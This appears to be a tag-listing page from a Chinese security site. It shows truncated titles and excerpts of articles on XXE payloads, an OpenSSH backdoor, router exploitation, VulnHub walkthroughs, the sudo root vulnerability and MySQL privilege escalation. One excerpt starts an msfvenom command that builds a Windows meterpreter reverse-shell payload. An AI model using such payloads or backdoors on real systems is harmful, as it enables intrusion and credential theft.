root - 第 23 | CN-SEC 中文网

Ubuntu1804安装mysql5.7无法更改root密码问题

Ubuntu1804安装mysql5.7无法更改root密码问题昨天重装blog，好久没更新了打算发一些本地的笔记出来，就顺手把服务器镜像换了下。换成了ubuntu1804，然后安装mysql是装的...

08月21日安全博客89 views评论

阅读全文

一些常见的XXE payload整理

最近遇到一些没有见过的xxe利用方式，就和之前的内容一起整理了一下。# 常见利用# 有回显任意读取文件<?xml version="1.0" encoding="utf-8"?> <...

08月16日安全文章117 views评论

阅读全文

安全文章

OpenSSH后门获取root密码

1. 查看sshd系统版本 [root@huangzp2 src]# ssh -V OpenSSH_5.3p1, OpenSSL 1.0....

08月13日123 views评论

阅读全文

逆向工程

手机没Root？你照样可以渗透路由器

点击上方蓝字可以订阅哦和Metasploit差不多，RouterSploit是一个强大的漏洞利用框架，用于快速识别和利用路由器中的普通漏洞，它还有个亮点，就是可以在绝大多数安卓设备上运行。如果你想在电...

08月06日86 views评论

阅读全文

实战Exchange中的SSRF在所有情况下都会导致ROOT访问漏洞的发现

漏洞点：your-store.myshopify.com 漏洞利用链 - 如何获得所有Shopify实例的root访问权限1 - 访问Google云元数据1：创建一个商店（partners....

07月27日未分类58 views评论

阅读全文

SecIN安全技术社区

VulnHub-[DC-1-7]-系列通关手册

DC1-通关手册 DC系列的靶机是一个专门构建的易受攻击的实验室，总共有九个！目的是获得渗透测试领域的经验。它的设计初学者是一个挑战，但是它的难易程度取决于您的技能和知识以及学习能力。要成功完成此...

07月18日68 views已关闭评论

阅读全文

安全文章

Vulnhub-SUMO: 1

大家好，我们是想要为亿人提供安全的亿人安全，这是我们自己想要做的事情，也是做这个公众号的初衷。希望以干货的方式，让大家多多了解这个行业，从中学到对自己有用的知识。靶机描述：Target Address...

07月01日187 views评论

阅读全文

安全闲碎

快检查一下你的 sudo：无需密码就能获取 root 权限，还是个 10 年老 bug

转自：量子位“这可能是近期内最需要重视的sudo漏洞。”程序员都知道，一句sudo可以“为所欲为”。而现在，来自Qualys的安全研究人员发现，sudo中存在一个严重的漏洞：任何本地用户，无需身份验证...

06月19日106 views评论

阅读全文

安全闲碎

不用密码就能获取root权限？Sudo被曝新漏洞

文章来源：安全圈“新的漏洞通告发了!快喊运维去打补丁。”运维：虽然运维惨兮兮，但“这可能是近期内最需要重视的sudo漏洞。”因为这次的Sudo漏洞CVE-2021-3156能够允许任何本地用户不需要身...

05月15日37 views评论

阅读全文

安全漏洞

新的 Linux sudo 漏洞使本地用户获得 root 权限

更多全球网络安全资讯尽在邑安全近日被技术专家所发现的新 sudo 漏洞允许任何本地用户在不需要任何身份验证的情况下就可以在类 Unix 操作系统上获得 root 权限。Sudo 实际上就是一个 Uni...

05月14日56 views评论

阅读全文

未分类

Mysql数据库反弹端口连接提权

Mysql数据库反弹端口连接提权在渗透或者安全评估时，有可能遇到一些比较奇葩的环境，即使通过Mysql root账号和密码获取了webshell，由于无法执行命令，在一般的情况下，也就放弃...

04月25日122 views评论

阅读全文

反弹入侵（几乎适用于任何windows主机）(（请勿用于非法操作！！！）)

root@kali:~# msfvenom -pwindows/meterpreter/reverse_tcp lhost=192.168.1.117 lport=1234 --format=exe&...

04月25日安全文章53 views评论

阅读全文

Ubuntu1804安装mysql5.7无法更改root密码问题

一些常见的XXE payload整理

OpenSSH后门获取root密码

手机没Root？你照样可以渗透路由器

实战Exchange中的SSRF在所有情况下都会导致ROOT访问漏洞的发现

VulnHub-[DC-1-7]-系列通关手册

Vulnhub-SUMO: 1

快检查一下你的 sudo：无需密码就能获取 root 权限，还是个 10 年老 bug

不用密码就能获取root权限？Sudo被曝新漏洞

新的 Linux sudo 漏洞使本地用户获得 root 权限

Mysql数据库反弹端口连接提权

反弹入侵（几乎适用于任何windows主机）(（请勿用于非法操作！！！）)

在线咨询

微信